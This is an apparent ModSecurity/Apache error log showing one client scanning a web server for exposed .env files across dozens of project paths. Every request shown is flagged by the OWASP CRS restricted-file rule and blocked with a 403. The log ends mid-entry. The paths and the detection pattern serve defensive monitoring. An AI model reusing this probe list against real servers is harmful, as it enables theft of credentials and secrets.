[Thu Feb 26 01:02:58.064552 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklQAAAAM&quot;]
[Thu Feb 26 01:02:58.064736 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklQAAAAM&quot;]
[Thu Feb 26 01:02:58.086902 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdAAAAAU&quot;]
[Thu Feb 26 01:02:58.087134 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdAAAAAU&quot;]
[Thu Feb 26 01:02:58.087292 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdAAAAAU&quot;]
[Thu Feb 26 01:02:58.122459 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdQAAAAU&quot;]
[Thu Feb 26 01:02:58.122711 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdQAAAAU&quot;]
[Thu Feb 26 01:02:58.122871 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdQAAAAU&quot;]
[Thu Feb 26 01:02:58.126138 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cmd/testdata/expected/dot_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklgAAAAM&quot;]
[Thu Feb 26 01:02:58.126390 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklgAAAAM&quot;]
[Thu Feb 26 01:02:58.126541 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklgAAAAM&quot;]
[Thu Feb 26 01:02:58.147890 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdgAAAAU&quot;]
[Thu Feb 26 01:02:58.148104 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdgAAAAU&quot;]
[Thu Feb 26 01:02:58.148263 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdgAAAAU&quot;]
[Thu Feb 26 01:02:58.159220 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklwAAAAM&quot;]
[Thu Feb 26 01:02:58.159432 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklwAAAAM&quot;]
[Thu Feb 26 01:02:58.159574 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklwAAAAM&quot;]
[Thu Feb 26 01:02:58.185745 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8b-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdwAAAAU&quot;]
[Thu Feb 26 01:02:58.185968 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdwAAAAU&quot;]
[Thu Feb 26 01:02:58.186112 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8b-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PdwAAAAU&quot;]
[Thu Feb 26 01:02:58.197910 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmAAAAAM&quot;]
[Thu Feb 26 01:02:58.198131 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmAAAAAM&quot;]
[Thu Feb 26 01:02:58.198284 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmAAAAAM&quot;]
[Thu Feb 26 01:02:58.215759 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chai/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PeAAAAAU&quot;]
[Thu Feb 26 01:02:58.215962 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PeAAAAAU&quot;]
[Thu Feb 26 01:02:58.216098 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Chai/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PeAAAAAU&quot;]
[Thu Feb 26 01:02:58.238144 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codegolf.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmQAAAAM&quot;]
[Thu Feb 26 01:02:58.238401 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmQAAAAM&quot;]
[Thu Feb 26 01:02:58.238548 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/CodeGolf.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmQAAAAM&quot;]
[Thu Feb 26 01:02:58.264832 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /codenames-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmgAAAAM&quot;]
[Thu Feb 26 01:02:58.265078 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmgAAAAM&quot;]
[Thu Feb 26 01:02:58.265233 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/codenames-frontend/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmgAAAAM&quot;]
[Thu Feb 26 01:02:58.269210 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id 